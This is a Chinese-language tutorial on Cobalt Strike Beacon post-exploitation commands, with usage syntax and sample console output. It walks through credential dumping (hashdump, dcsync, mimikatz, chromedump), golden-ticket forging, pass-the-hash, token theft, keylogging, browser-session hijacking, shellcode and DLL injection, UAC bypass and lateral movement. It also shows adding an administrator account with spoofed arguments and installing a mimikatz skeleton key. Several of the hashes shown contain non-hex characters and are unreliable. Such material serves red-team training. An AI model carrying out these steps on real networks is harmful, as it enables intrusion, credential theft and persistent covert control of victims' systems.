- 大纲
- help
- shell
- run
- execute
- pwd
- cd
- sleep
- link
- unlink
- covertvpn
- desktop
- clear
- ps
- kill
- ls
- mkdir
- cp
- mv
- drives
- rm
- screenshot
- screenwatch
- keylogger
- jobs
- jobkill
- powershell
- powerpick
- psinject
- powershell-import
- blockdlls
- execute-assembly
- setenv
- exit
- hashdump
- logonpasswords
- dcsync
- chromedump
- browserpivot
- note
- checkin
- connect
- spawn
- spawnas
- runas
- runu
- shinject
- spawnto
- spawnu
- inject
- dllinject
- shspawn
- dllload
- getuid
- argue
- portscan
- net
- PPID
- getsystem
- elevate
- runasadmin
- getprivs
- steal_token
- inline-execute
- jump
- pth
- make_token
- download
- downloads
- cancel
- upload
- timestomp
- ssh
- ssh-key
CS有很多可扩展功能 因对此进行记录 这里讲解用法,如果把原理拓展开,会很多
Beacon是异步有效负载。命令不会立即执行。每个命令都进入队列。当Beacon回连时,它将接收这些命令并逐个执行,然后Beacon会将所有的输出显示在Beacon控制台上。如果不小心误输入,可以使用clear命令清除当前Beacon的命令队列(在Beacon还没有回连接收任务前,如果Beacon已经回连接收到了命令那么clear命令是不起作用的)
大纲
Beacon 菜单
interact(交互)即可打开 Beacon 控制台
Access:包含了一些对凭据的操作及提权的选项
Access:包含了一些对凭据的操作及提权的选项
Explore:包含了信息探测与目标交互的选项
Pivoting:包含了一些设置代理隧道的选项
Session:包含了对当前 Beacon 会话管理的选项
Beacon 命令
在beacon端可以使用tab键进行补全
argue Spoof arguments for matching processes
blockdlls Block non-Microsoft DLLs in child processes
browserpivot Setup a browser pivot session
cancel Cancel a download that's in-progress
cd Change directory
checkin Call home and post data
chromedump Recover credentials from Google Chrome
clear Clear beacon queue
connect Connect to a Beacon peer over TCP
covertvpn Deploy Covert VPN client
cp Copy a file
dcsync Extract a password hash from a DC
desktop View and interact with target's desktop
dllinject Inject a Reflective DLL into a process
dllload Load DLL into a process with LoadLibrary()
download Download a file
downloads Lists file downloads in progress
drives List drives on target
elevate Spawn a session in an elevated context
execute Execute a program on target (no output)
execute-assembly Execute a local .NET program in-memory on target
exit Terminate the beacon session
getprivs Enable system privileges on current token
getsystem Attempt to get SYSTEM
getuid Get User ID
hashdump Dump password hashes
help Help menu
inject Spawn a session in a specific process
inline-execute Run a Beacon Object File in this session
jobkill Kill a long-running post-exploitation task
jobs List long-running post-exploitation tasks
jump Spawn a session on a remote host
kerberos_ccache_use Apply kerberos ticket from cache to this session
kerberos_ticket_purge Purge kerberos tickets from this session
kerberos_ticket_use Apply kerberos ticket to this session
keylogger Start a keystroke logger
kill Kill a process
link Connect to a Beacon peer over a named pipe
logonpasswords Dump credentials and hashes with mimikatz
ls List files
make_token Create a token to pass credentials
mimikatz Runs a mimikatz command
mkdir Make a directory
mode dns Use DNS A as data channel (DNS beacon only)
mode dns-txt Use DNS TXT as data channel (DNS beacon only)
mode dns6 Use DNS AAAA as data channel (DNS beacon only)
mv Move a file
net Network and host enumeration tool
note Assign a note to this Beacon
portscan Scan a network for open services
powerpick Execute a command via Unmanaged PowerShell
powershell Execute a command via powershell.exe
powershell-import Import a powershell script
ppid Set parent PID for spawned post-ex jobs
printscreen Take a single screenshot via PrintScr method
ps Show process list
psinject Execute PowerShell command in specific process
pth Pass-the-hash using Mimikatz
pwd Print current directory
reg Query the registry
remote-exec Run a command on a remote host
rev2self Revert to original token
rm Remove a file or folder
rportfwd Setup a reverse port forward
rportfwd_local Setup a reverse port forward via Cobalt Strike client
run Execute a program on target (returns output)
runas Execute a program as another user
runasadmin Execute a program in an elevated context
runu Execute a program under another PID
screenshot Take a single screenshot
screenwatch Take periodic screenshots of desktop
setenv Set an environment variable
shell Execute a command via cmd.exe
shinject Inject shellcode into a process
shspawn Spawn process and inject shellcode into it
sleep Set beacon sleep time
socks Start SOCKS4a server to relay traffic
socks stop Stop SOCKS4a server
spawn Spawn a session
spawnas Spawn a session as another user
spawnto Set executable to spawn processes into
spawnu Spawn a session under another process
spunnel Spawn and tunnel an agent via rportfwd
spunnel_local Spawn and tunnel an agent via Cobalt Strike client rportfwd
ssh Use SSH to spawn an SSH session on a host
ssh-key Use SSH to spawn an SSH session on a host
steal_token Steal access token from a process
timestomp Apply timestamps from one file to another
unlink Disconnect from parent Beacon
upload Upload a file
help
查看 Beacon 命令的帮助信息。使用 help + 待查看帮助的命令可查看该命令的帮助信息
shell
通过受害主机的 cmd.exe 执行命令。比如运行ipconfig,就需要输入shell ipconfig
run
不使用 cmd.exe 执行命令。该命令也是 run + 命令的形式运行,该命令会将执行结果回显
execute
执行命令,但不回显结果
pwd
查看当前所在目录
cd
切换当前工作目录。
sleep
改变 Beacon 的休眠时间。输入 sleep 30表示休眠30秒;输入sleep 60 50表示,随机睡眠 30秒至60秒,其中30秒 = 60 x 50%;如果输入 sleep 0则表示进入交互模式,任何输入的命令都会被立即执行,当输入一些命令,比如desktop时, Beacon 会自动进入交互模式。
link
通过命名管道正向连接远程(SMB)Beacon
link [ip地址]
链接到指定IP地址的Beacon会话
unlink
断开与beacon的连接(用于通过TCP、命名管道连接的beacon)
断开与子Beacon的连接
unlink [ip地址]
unlink [ip地址] [pid]
断开与SMB 命名管道或TCP Beacon的连接
指定IP地址或IP地址以及会话PID来断开特定Beacon的连接
covertvpn
covertvpn 部署Covert VPN客户端,注:没啥用的功能不做介绍
covertvpn [interface] [ip address]
desktop
远程VNC控制用户桌面
desktop VNC远程桌面
desktop pid [x86|x64] low|high 将vnc服务dll注入到指定进程中运行
low和hight是图像画质高低
注:需要确保cs服务端有vnc dll
clear
清除 Beacon 命令队列。Beacon 是一个异步的 Payload,输入的命令并不会立即执行,而是当 Beacon 连接到团队服务器时再一一执行命令,因此当需要清除队列命令时就可以使用 clear 命令
ps
查看进程
kill
kill 结束指定进程
kill [pid]
ls
列出目标文件
mkdir
创建一个目录
cp
复制文件
cp [源文件] [目标文件]
mv
移动文件
mv [源文件] [目标文件]
将 [源文件] 移动到指定的 [目标文件] 位置
drives
rm
删除一个文件或者文件夹
screenshot
获取屏幕截图,使用screenshot pid来将截屏工具注入到一个 x86 的进程中,使用screenshot pid x64注入到一个 x64 进程中,explorer.exe 是一个好的候选程序
使用screenshot [pid] [x86|x64] [time]来请求截屏工具运行指定的秒数,并在每一次 Beacon 连接到团队服务器的时候报告一张屏幕截图,这是查看用户桌面的一种简便方法。要查看截屏的具体信息,通过View —> Screenshots来浏览从所有 Beacon 会话中获取的截屏
screenwatch
将屏幕监控工具注入 [pid] 指定的进程
使用不带任何参数的 “screenwatch” 命令可以启动一个临时傀儡进程,并将屏幕监控工具注入其中运行
Screenwatch会定时发送用户桌面的屏幕截图(每次Beacon回连时发送一次),直到监控工具结束
如果用户处于空闲状态,则屏幕监控工具将每三分钟拍摄一次新的屏幕截图
与screenshot功能差不多
keylogger
键盘记录器,使用keylogger pid来注入一个 x86 程序。使用keylogger pid x64来注入一个 x64 程序,explorer.exe 是一个好的候选程序。
使用单独的 keylogger 命令来将键盘记录器注入一个临时程序。键盘记录器会监视从被注入的程序中的键盘记录并将结果报告给 Beacon,直到程序终止或者自己杀死了这个键盘记录后渗透任务。要查看键盘记录的结果,可以到View —> Keystrokes中进行查看
具体注入那个程序都是可以的,只是注入 explorer.exe 会比较稳定与持久。值得注意的是,多个键盘记录器可能相互冲突,每个桌面会话只应使用一个键盘记录器
jobs
jobkill
powershell
通过powershell.exe执行命令
通过受害主机的 PowerShell 执行命令。比如想在 PowerShell 下运行 get-process,就需要输入powershell get-process
powerpick
不使用 powershell.exe 执行 powershell 命令。这个命令依赖于由 Lee Christensen 开发的非托管 PowerShell 技术。powershell 和 powerpick 命令会使用当前令牌( token )
非托管powershell技术就是不使用powershell.exe程序来执行powershell命令
psinject
将非托管的 PowerShell 注入到一个特定的进程中并从此位置运行命令。
在指定进程中执行PowerShell命令
powershell-import
导入 PowerShell 脚本到 Beacon 中。直接运行 powershell-import + 脚本文件路径即可,但是这个脚本导入命令一次仅能保留一个 PowerShell 脚本,再导入一个新脚本的时候,上一个脚本就被覆盖了,因此可以通过导入一个空文件来清空 Beacon 中导入的脚本
beacon> powershell-import PowerUp.ps1
beacon> powershell invoke-allchecks
blockdlls
blockdlls是在Cobalt Strike的3.14版本中出现的,用于保护派生的子进程不受第三方DLL的干扰
如果一个没有被微软签名的DLL试图加载到进程中,就会报错
blockdlls 阻止子进程加载非微软签名的dll
blockdlls [start|stop]
blockdlls start 启动此策略
blockdlls stop 关闭此策略
启动此策略后创建的子进程加载非微软签名的dll时会被阻止
注:此特性是windows10自身特性,需要目标为windows10才能成功启用
execute-assembly
内存执行dotnet程序,不过有1M体积限制
execute-assembly 内存加载执行.NET程序集
execute-assembly .netpath [arguments]
注:就是普通的内存加载执行.net程序
setenv
设置一个环境变量
exit
关闭退出beacon
hashdump
获取密码hash
黄金票据 Golden Ticket 是 KRBTGT 帐户的 Kerberos 身份验证令牌,KRBTGT 帐户是一个特殊的隐藏帐户,用于加密 DC 的所有身份验证令牌。然后黄金票据可以使用哈希传递技术登录到任何帐户,从而使攻击者可以在网络内部不受注意地移动
使用 mimikatz 伪造黄金票据需要: 1、目标的用户名及域名 2、域的 SID 值 域的 SID 值即安全标识符 Security Identifiers,使用 whoami /user 命令可查看,注意不需要 SID 最后的一组数字。
beacon> shell whoami /user
[*] Tasked beacon to run: whoami /user
[+] host called home, sent: 43 bytes
[+] received output:
用户信息
----------------
用户名 SID
============= ============================================
teamssix\daniel S-1-5-21-5311978431-183514165-284342044-1000
因为不需要 SID 最后一组数字,所以这里要使用的 SID 也就是 S-1-5-21-5311978431-183514165-284342044
3、DC 中 KRBTGT 用户的 NTLM 哈希 DC 中 KRBTGT 用户的 NTLM 哈希可以通过 dcsync 或 hashdump 获得,下面的 hashdump 命令在域控制器的 SYSTEM 权限会话下运行。
beacon> hashdump
[*] Tasked beacon to dump hashes
[+] host called home, sent: 82501 bytes
[+] received password hashes:
Administrator:500:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Guest:501:aca3b435b5z404eeaad3f435b51404he:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aca3b435b5z404eeaad3f435b51404he:z1f8417a00az34scwb0dc15x66z43bg1:::
daniel:1108:aca3b435b5z404eeaad3f435b51404he:12cb161bvca930994x00cbc0aczf06d1:::
Cobalt Strike 在 Access -> Golden Ticket 中可以打开生成黄金票据的界面。 信息填完之后,选择 Build,需要注意 Domain 需要填写成 FQDN 格式,即完全合格域名 Fully Qualified Domain Name ,也就是类似于 teamssix.com 的格式。 此时可以通过 shell dir \host\C$ 检查自己是否有权限,也可以使用 PowerShell 运行 whoami 查看自己是谁。
beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 203 bytes
[+] received output:
teamssix\administrator
logonpasswords
使用mimikatz转储明文凭证和NTLM哈希值
在View —> Credentials下可以查看到hashdump与mimikatz获取的数据
dcsync
dcsync 从域控中提取密码哈希
dcsync [DOMAIN.FQDN] 提取所有帐户的密码哈希
dcsync [域.fqdn] <域\用户名>
dcsync [DOMAIN.FQDN] [DOMAIN\user] 特定用户的
使用mimikatz从域控制器中提取所有域用户的NTLM哈希,指定一个用户可以仅获取其NTLM哈希
此命令需要域管理员信任关系
chromedump
使用Mimikatz从Google Chrome提取保存的账号密码和Cookies等凭证信息,该命令需要在用户权限下使用
可能能秒解80版本之前的
browserpivot
注入浏览器进程代理用户已认证身份(仅支持IE)
浏览器转发是指在已经攻击成功的目标中,利用目标的信息登录网站进行会话劫持,但是目前只支持目标正在使用IE浏览器的前提下。可通过截图判断当前用户是否使用IE浏览器
找到目前正在使用IE浏览器的目标后,右击该会话,选择Explore —> Browser Pivot,随后选择要注入的进程,CS 会在它认为可以注入的进程右边显示一个对勾,设置好端口后,点击运行即可
此时,在浏览器中配置代理,代理配置为http代理,IP为CS团队服务器IP,端口为刚设置的端口。
代理配置好后,在浏览器中打开目标当前正在打开的网址,即可绕过登录界面
浏览器代理
browserpivot [pid] [x86|x64]
browserpivot [stop]
note
checkin
强制目标回连并更新状态(用于DNS上线,DNS模式下无新任务时目标不会回连Teamserver)
connect
通过TCP正向连接远程Beacon
connect [target] [port]
spawn
创建一个新Beacon会话
进行会话的传递,也可直接右击会话选择spawn命令进行会话的选择。默认情况下,spawn命令会在 rundll32.exe 中派生一个会话。为了更好的隐蔽性,可以找到更合适的程序(如 Internet Explorer) 并使用spawnto命令来说明在派生新会话时候会使用 Beacon 中的哪个程序。
会话传递使用场景 将当前会话传递至其他CS团队服务器中,直接右击spawn选择要传递的监听器即可。 或者传递给msf
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
msf5 exploit(multi/handler) > set lhost 192.168.175.156
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit -j
在CS中新建一个外部Foreign监听器,这里设置的监听IP与端口和MSF中的一致即可,随后在CS中利用spawn选择刚新建的外部监听器,MSF中即可返回会话
spawnas
以另一个用户身份创建一个新Beacon会话
使用其他用户的凭证来以其他用户身份派生一个会话,这个命令派生一个临时的进程并将 payload stage 注入进那个进程
spawnas 以其他用户身份派生会话
spawnas [DOMAIN\user] [password] [listener]
runas
使用其他用户的凭证来以其他用户身份运行一个命令,该命令不会返回任何输出
runas 以其他用户权限执行程序
runas [DOMAIN\user] [password] [command] [arguments]
注:相当于windows的runas命令
runu
以另一个进程PID作为父进程PID,并以其用户身份执行程序
与ppid差不多,runu使用指定进程作为父进程来执行命令
runu [pid] [命令] [参数]
尝试以指定 [pid] 为父程序来执行 [命令]。该 [命令] 将以指定的 [pid] 进程的用户身份运行
shinject
使用shinject [pid] [架构] [/路径/…/file.bin]命令来从一个本地文件中注入 shellcode 到一个目标上的进程中。
spawnto
设置创建新进程时使用的可执行文件路径(傀儡进程的宿主exe文件路径)
该命令会要求指明架构(x86 还是 x64)和用于派生会话的程序的完整路径。单独输入spawnto命令然后按 enter 会指示 Beacon 恢复至其默认行为。
spawnto 设置Beacon派生会话时使用的程序
spawnto [x86|x64] [程序路径]
注:此命令用来更改Beacon默认派生会话时使用的程序,比如
spawnto x64 C:\Windows\System32\notepad.exe
在派生一个新的x64会话时就会启动一个notepad进程来作为傀儡
直接输入spawnto回车代表清除设置使用默认配置
spawnu
spawnu 在指定进程中派生会话
spawnu [pid] [listener]
inject
输入inject + 进程 id + 监听器名来把一个会话注入一个特定的进程中。使用 ps 命令来获取一个当前系统上的进程列表。使用inject [pid] x64来将一个64位 Beacon 注入到一个 64位进程中。
spawn和inject命令都将一个 payload stage 注入进内存中。如果 payload stage 是 HTTP、HTTPS 或 DNS Beacon 并且它无法连接到你,那么将看不到一个会话。如果 payload stage 是一个绑定的 TCP 或 SMB 的 Beacon,这些命令会自动地尝试连接到并控制这些 payload。
dllinject
dllinject + [pid]来将一个反射性 DLL 注入到一个进程中。
dllinject 反射dll进程注入
dllinject pid dllpath
注:路径为本机路径
shspawn
使用shspawn [架构] [/路径/…/file.bin]命令会先派生一个新进程(这个新进程是 spawn to 命令指定的可执行文件),然后把指定的 shellcode 文件( file.bin )注入到这个进程中。
创建傀儡进程并注入shellcode到其中运行
dllload
使用dllload [pid] [c:\路径...\file.dll]来在另一个进程中加载磁盘上的 DLL文件。
dllload 使用LoadLibrary函数进行dll注入
dllload pid dllpath
注:LoadLibrary函数 dll注入,目标机上必须存在被注入的dll
getuid
获取用户的ID
argue
参数欺骗
一般用于拦截某个指令的时候
比如添加用户
argue 命令 假参数 --欺骗某个命令参数
argue --查看污染的参数
aruge 命令 --取消欺骗某个命令参数
#用污染的net1执行敏感操作
execute net1 user test root123 /add
execute net1 localgroup administrators test /add
portscan
进行端口扫描,使用参数为:portscan [targets] [ports] [discovery method]。
目标发现discovery method有三种方法,分别是:arp、icmp、none,arp方法使用 ARP 请求来发现一个主机是否存活。icmp方法发送一个 ICMP echo 请求来检查一个目标是否存活。none选项让端口扫描工具假设所有的主机都是存活的。
端口扫描会在 Beacon 和团队服务器通讯的这个过程中不停运行。当它有可以报告的结果,它会把结果发送到 Beacon 控制台。Cobalt Strike 会处理这个信息并使用发现的主机更新目标模型。
右击 Beacon会话,在Explore —> Port Scan中即可打开端口扫描的图形窗口,CS会自动填充扫描地址,确认扫描地址、端口、扫描方式等无误后,开始扫描即可。扫描结束后,在 target table页面中可看到扫描结果,右击会话,选择 Services 可查看详细的扫描结果。
net
PPID
使用指定的PID作为父进程启动Beacon会话。runas命令不受影响,但其他大多数命令都受影响。
不要指定父PID为另一个桌面会话中的进程。这可能会破坏Beacon的一些功能和工作流程
如果需要以另一个桌面会话进程作为父进程运行命令,请使用runu命令
ppid 父进程欺骗
ppid [pid] 将指定进程作为父进程
ppid 直接执行ppid取消父进程欺骗
注:父进程欺骗顾名思义就是伪造子进程的父进程为指定进程。
这个听起来有点绕其实以前对抗过某杀软的应该都知道过父都是为了达到同一个目的
getsystem
将本地高级管理员权限提升至系统权限
elevate
利用提权漏洞获取一个高权限Beacon
提权并生成一个高权限会话
elevate [exploit] [listener]
如bypass uac
首先使用shell whoami /groups查看当前上线主机用户的所属组及 UAC 等级
以使用bypassuac进行提权。
首先,右击会话,选择Access —> Elevate,这里选择一个 SMB Beacon,Exploit 选择uac-token-duplication,最后 Launch 即可。
待 Beacon Check in 后,当前用户 UAC 为高权限的会话便会上线了。
runasadmin
runasadmin 提权后执行命令
runasadmin [exploit] [command] [args]
注:与前面的elevate命令相似只不过变成了提权执行命令
getprivs
启用当前访问令牌所拥有的特权
可以通过shell whoami /all查看详细信息
steal_token
从指定进程中窃取访问令牌(access token)
- 使用 ps 列出进程
- 使用 steal_token [pid] 窃取令牌
- 使用 getuid 找到你是谁
- 使用 rev2self 移除令牌
inline-execute
在内存中执行bof文件
inline-execute 在Beacon会话中执行Beacon Object File (BOF)
inline-execute [/path/to/file.o] [args]
jump
在远程机器上植入Beacon(横向移动)
jump 在远程主机上执行payload生成一个会话
jump [exploit] [target] [listener]
此命令通过横向渗透在目标上执行payload生成会话(psexec winrm)
pth
使用Mimikatz执行Pass-the-hash
pth [域\用户名] [NTLM哈希]
使用mimikatz生成并模拟一个访问令牌,该令牌使用指定的域、用户和NTLM哈希作为单点登录凭据
当需要与网络资源进行交互时,Beacon将传递此哈希
beacon> pth TEAMSSIX\Administrator 12cb161bvca930994x00cbc0aczf06d1
[+] host called home, sent: 23 bytes
[*] Tasked beacon to run mimikatz's sekurlsa::pth /user:Administrator /domain:TEAMSSIX /ntlm:12cb161bvca930994x00cbc0aczf06d1 /run:"%COMSPEC% /c echo ade660d8dce > \\.\pipe\8d3e4c" command
[+] host called home, sent: 750600 bytes
[+] host called home, sent: 71 bytes
[+] Impersonated NT AUTHORITY\SYSTEM
[+] received output:
user : Administrator
domain : TEAMSSIX
program : C:\Windows\system32\cmd.exe /c echo ade660d8dce > \\.\pipe\8d3e4c
impers. : no
NTLM : 12cb161bvca930994x00cbc0aczf06d1
| PID 2992
| TID 5028
| LSA Process is now R/W
| LUID 0 ; 14812112 (00000000:00e203d0)
\_ msv1_0 - data copy @ 0000000001794E80 : OK !
\_ kerberos - data copy @ 000000000044A188
\_ aes256_hmac -> null
\_ aes128_hmac -> null
\_ rc4_hmac_nt OK
\_ rc4_hmac_old OK
\_ rc4_md4 OK
\_ rc4_hmac_nt_exp OK
\_ rc4_hmac_old_exp OK
\_ *Password replace @ 00000000017DA1E8 (16) -> null
beacon> powershell Invoke-Command -computer WinDC -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WinDC -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes
[+] received output:
teamssix\administrator
make_token
创建进程访问令牌(access token),仅用于访问网络资源
make_token username pass
beacon> make_token TEAMSSIX\administrator Test111!
[*] Tasked beacon to create a token for TEAMSSIX\administrator
[+] host called home, sent: 53 bytes
[+] Impersonated NT AUTHORITY\SYSTEM
beacon> shell dir \\WIN-P2AASSD1AF1\C$
[*] Tasked beacon to run: dir \\WIN-P2AASSD1AF1\C$
[+] host called home, sent: 55 bytes
[+] received output:
驱动器 \\WIN-P2AASSD1AF1\C$ 中的卷没有标签。
卷的序列号是 F269-89A7
\\WIN-P2AASSD1AF1\C$ 的目录
2020/07/16 21:24 <DIR> Program Files
2020/07/16 21:52 <DIR> Program Files (x86)
2020/07/17 23:00 <DIR> Users
2020/07/26 00:55 <DIR> Windows
0 个文件 0 字节
4 个目录 28,493,299,712 可用字节
beacon> powershell Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}
[*] Tasked beacon to run: Invoke-Command -computer WIN-P2AASSD1AF1 -ScriptBlock {whoami}
[+] host called home, sent: 231 bytes
[+] received output:
teamssix\administrator
当密码输入错误时,执行上面的两个命令就会提示 登录失败: 未知的用户名或错误密码。 同样的使用 rev2self 可除去当前令牌,恢复原来的 SYSTEM 权限
download
下载请求的文件。Beacon 会下载它的任务要求获取的每一个文件的固定大小的块。这个块的大小取决于 Beacon 当前的数据通道。HTTP 和 HTTPS 通道会拉取 512kb 的数据块
download [file]
下载文件都将下载到CS团队服务器中,在View —> Download下可看到下载文件的记录,选中文件后使用Sync Files即可将文件下载到本地
downloads
查看当前 Beacon 正在进行的文件下载列表
cancel
该命令加上一个文件名来取消正在进行的一个下载任务。也可以在 cancel 命令中使用通配符来一次取消多个文件下载任务。
cancel [*文件名*]
取消当前正在进行的文件下载,文件名支持使用通配符
upload
上传一个文件到目标主机上
上传一个文件到目标主机上
timestomp
复制B文件的创建、访问、修改时间戳到A文件(文件时间戳伪造)
将一个文件的修改属性访问属性和创建时间数据与另一个文件相匹配。当上传一个文件时,有时会想改变此文件的时间戳来使其混入同一文件夹下的其他文件中,使用timestomp 命令就可以完成此工作。
timestomp [文件A] [文件B]
ssh
ssh 使用ssh密码远程连接
ssh [target:port] [user] [pass]
注:通过Beacon内置的ssh客户端实现
ssh-key
ssh-key 使用SSH密钥远程连接
ssh [target:port] [user] [/path/to/key.pem]
查看有哪些 Kerberos 票据
shell klist
清空当前会话中的所有kerberos票据
kerberos_ticket_purge
清空当前会话中的所有kerberos票据
kerberos_ticket_use [/path/to/file.ticket]
清空当前会话中的所有kerberos票据
kerberos_ccache_use [/本地绝对路径/file.ccache]
在 Beacon 中集成了 mimikatz ,mimikatz 执行命令有三种形式:
- mimikatz [module::command]
运行 mimikatz 命令 - mimikatz [!module::command]
强制提升到 SYSTEM 权限再运行命令,因为一些命令只有在 SYSTEM 身份下才能被运行。 - mimikatz [@module::command]
使用当前 Beacon 的访问令牌运行 mimikatz 命令
注:有些mimikatz命令需要system权限才能运行
!代表强制将mimikatz提升到SYSTEM,然后再运行命令
有些则需要使用Beacon当前访问令牌运行
@代表强制mimikatz使用Beacon当前访问令牌运行命令
!lsadump::cache
获取缓存凭证,默认情况下 Windows 会缓存最近10个密码哈希
!lsadump::sam
获取本地账户密码哈希,该命令与 hashdump 比较类似
misc::cmd
如果注册表中禁用了 CMD ,就重新启用它
!misc::memssp
注入恶意的 Windows SSP 来记录本地身份验证凭据,这个凭证存储在“C:\windows\system32\mimilsa.log”中
misc::skeleton
该命令仅限域内使用。该命令会给所有域内用户添加一个相同的密码,域内所有的用户都可以使用这个密码进行认证,同时原始密码也可以使用,其原理是对 lsass.exe 进行注入,重启后会失效。
process::suspend [pid]
挂起某个进程,但是不结束它
process::resume [pid]
恢复挂起的进程